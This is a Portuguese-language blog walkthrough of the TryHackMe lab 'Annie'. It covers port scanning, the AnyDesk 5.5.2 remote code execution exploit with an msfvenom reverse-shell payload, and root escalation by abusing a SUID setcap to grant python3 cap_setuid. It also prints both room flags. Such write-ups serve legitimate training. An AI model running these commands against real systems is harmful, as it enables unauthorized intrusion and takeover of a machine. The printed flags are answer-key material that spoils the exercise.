Annie

jan. 11, 2023·
Jeff Soczek
Jeff Soczek
· 4 minutos de leitura

O acesso remoto vem em diferentes sabores. Outra sala gratuita Try Hack Me, esta é classificada com dificuldade média.

A primeira coisa que tento é ver se há alguma resposta pela web. Sem resposta pela porta 80. Ok, eu ia rodar o nmap de qualquer jeito.


w1zard in try-hack-me/rooms/annie 
  nmap -Pn -p- -oA nmap-fullports-annie 10.10.92.77    
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-11 17:35 -03
Nmap scan report for 10.10.92.77
Host is up (0.35s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
7070/tcp  open  realserver
43353/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 1082.16 seconds

Certo, podemos executar a verificação de script padrão junto com a detecção de serviço/versão.


PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 72d72534e807b7d96fbad6981aa317db (RSA)
|   256 721026ce5c53084b6183f87ad19e9b86 (ECDSA)
|_  256 d10e6da84e8e20ce1f0032c1448dfe4e (ED25519)
7070/tcp open  ssl/realserver?
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=AnyDesk Client
| Not valid before: 2022-03-23T20:04:30
|_Not valid after:  2072-03-10T20:04:30
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Eu meio que queria um número de versão, mas vamos trabalhar com o que temos em mãos. Vou procurar uns exploits.


w1zard in try-hack-me/rooms/annie 
  searchsploit anydesk   
----------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                     |  Path
----------------------------------------------------------------------------------- ---------------------------------
AnyDesk 2.5.0 - Unquoted Service Path Privilege Escalation                         | windows/local/40410.txt
AnyDesk 5.4.0 - Unquoted Service Path                                              | windows/local/47883.txt
AnyDesk 5.5.2 - Remote Code Execution                                              | linux/remote/49613.py
----------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Indo direto para o RCE.


w1zard in try-hack-me/rooms/annie 
  searchsploit -m 49613  
  Exploit: AnyDesk 5.5.2 - Remote Code Execution
      URL: https://www.exploit-db.com/exploits/49613
     Path: /usr/share/exploitdb/exploits/linux/remote/49613.py
    Codes: CVE-2020-13160
 Verified: True
File Type: Python script, ASCII text executable
Copied to: /home/w1zard/Documents/labs/try-hack-me/rooms/annie/49613.py

Uma olhada no código e, opa, ótimo, tem um link para um walkthrough. Só preciso alterar o IP de destino, a porta e criar um payload shellcode usando o MSVenom.


msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.y.y LPORT=4444 -b "\x00\x25\x26" -f python -v shellcode

Shellcode vai no exploit, e o exploit não faz nada. Tentei executar o exploit algumas vezes, pensei que a máquina estava instável e reiniciei. Executei o exploit mais algumas vezes, nada. Deu ruim. Não mudo absolutamente nada, executei o exploit mais algumas vezes…


connect to [10.13.3.36] from (UNKNOWN) [10.10.128.217] 45640

Não tem lógica, basta repetir a mesma coisa e talvez você obtenha um resultado diferente.


python3 -c 'import pty;pty.spawn("/bin/bash")'
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

annie@desktop:/home/annie$ cat user.txt
cat user.txt
THM{N0t_Ju5t_ANY_D3sk}

Agora, para a escalada de privilégios, a maneira que encontrei foi por meio de arquivos do root.

find / -perm -4000 -type f -exec ls -al {} 2>/dev/null \;


annie@desktop:/home/annie$ find / -perm -4000 -type f -exec ls -al {} 2>/dev/null \;

< -perm -4000 -type f -exec ls -al {} 2>/dev/null \;
-rwsr-xr-x 1 root root 10232 Nov 16  2017 /sbin/setcap
-rwsr-xr-x 1 root root 43088 Sep 16  2020 /bin/mount
-rwsr-xr-x 1 root root 64424 Jun 28  2019 /bin/ping
-rwsr-xr-x 1 root root 44664 Jan 25  2022 /bin/su
-rwsr-xr-x 1 root root 30800 Aug 11  2016 /bin/fusermount
-rwsr-xr-x 1 root root 26696 Sep 16  2020 /bin/umount
-rwsr-xr-- 1 root dip 378600 Jul 23  2020 /usr/sbin/pppd
-rwsr-xr-x 1 root root 10232 Mar 27  2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 436552 Mar  2  2020 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 14328 Jan 12  2022 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-sr-x 1 root root 10232 Dec 14  2021 /usr/lib/xorg/Xorg.wrap
-rwsr-xr-- 1 root messagebus 42992 Jun 11  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 22528 Jun 28  2019 /usr/bin/arping
-rwsr-xr-x 1 root root 40344 Jan 25  2022 /usr/bin/newgrp
-rwsr-xr-x 1 root root 149080 Jan 19  2021 /usr/bin/sudo
-rwsr-xr-x 1 root root 18448 Jun 28  2019 /usr/bin/traceroute6.iputils
-rwsr-xr-x 1 root root 76496 Jan 25  2022 /usr/bin/chfn
-rwsr-xr-x 1 root root 75824 Jan 25  2022 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 44528 Jan 25  2022 /usr/bin/chsh
-rwsr-xr-x 1 root root 59640 Jan 25  2022 /usr/bin/passwd
-rwsr-xr-x 1 root root 22520 Jan 12  2022 /usr/bin/pkexec

setcap está destacado da lista. Deixe-me dar uma olhada nisso.

waiting

Ok, você pode forçar capacidades em programas usando setcap e elas podem ser exploradas passando-lhes comandos ou argumentos maliciosos que são então executados como root. Obrigado HackTricks.


annie@desktop:/home/annie$ which python3
which python3
/usr/bin/python3
annie@desktop:/home/annie$ cp /usr/bin/python3 .
cp /usr/bin/python3 .
annie@desktop:/home/annie$ /sbin/setcap cap_setuid+ep /home/annie/python3
/sbin/setcap cap_setuid+ep /home/annie/python3
annie@desktop:/home/annie$ ./python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
<c 'import os; os.setuid(0); os.system("/bin/bash")'
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@desktop:/home/annie# cat /root/root.txt
cat /root/root.txt
THM{0nly_th3m_5.5.2_D3sk}